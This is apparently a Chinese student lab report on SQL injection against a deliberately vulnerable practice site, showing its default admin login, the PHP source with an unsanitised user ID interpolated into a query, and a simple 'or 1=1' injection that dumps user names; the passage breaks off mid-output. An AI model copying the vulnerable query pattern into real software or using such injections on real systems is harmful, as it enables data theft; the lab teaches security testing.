SQL注入实验

最新推荐文章于 2025-05-27 15:01:42 发布

原创

最新推荐文章于 2025-05-27 15:01:42 发布 · 6.4k 阅读

16 ·

CC 4.0 BY-SA版权

文章标签：

#sql注入 #信息安全

本文详细记录了一次SQL注入实验，从安全等级1到5逐步破解的过程，包括注入方法和原理分析，展示了如何利用布尔连接符、宽字符注入等技巧绕过防护。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

信息安全实验 SQL Injection

一.实验内容

1.Finish all six challenge on the website,or give the reason why the protection is unbreakable(need an experiment report ).

2(Extended work).Tell me why [input = a’ or ‘1=1’ or ‘1=1] doesn’t work on the login website in your experiment report.

二.实验过程

登陆实验网页：http://202.38.79.49:8888/login.php
登陆界面如下：
尝试输入默认用户名和用户密码：
Username: admin
Password: admin
成功登入系统！系统界面如下：

1.设置安全等级为1：Security Level = 1.
注入界面如下：
点击右下角的View Source,查看PHP连接后台数据库的源代码：

<?php     

if(isset($_GET['Submit'])){ 

    // Retrieve data 

    $id = $_GET['id']; 

    $getid = "SELECT first_name, last_name FROM users WHERE user_id = $id"; 
    $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 

    $num = mysql_numrows($result); 

    $i = 0; 

    while ($i < $num) { 

        $first = mysql_result($result,$i,"first_name"); 
        $last = mysql_result($result,$i,"last_name"); 

        echo '<pre>'; 
        echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last; 
        echo '</pre>'; 

        $i++; 
    } 
} 
?>

根据以上代码可知，可以利用$id变量的漏洞进行sql注入，向User ID文本框中输入查询字符串1=1 or 1=1,URL网址变成了http://202.38.79.49:8888/vulnerabilities/sqli/?id=1=1+or+1=1&Submit=Submit,获得如下数据库信息：

ID: 1=1 or 1=1
First name: admin
Surname: admin

ID: 1=1 or 1=1
First name: Gordon
Surname: Brown

ID: 1=1 or 1=1
First name: Hack
Surname: Me

ID: 1=1 or 1=1
First name: Pablo
Surname: Picasso

ID: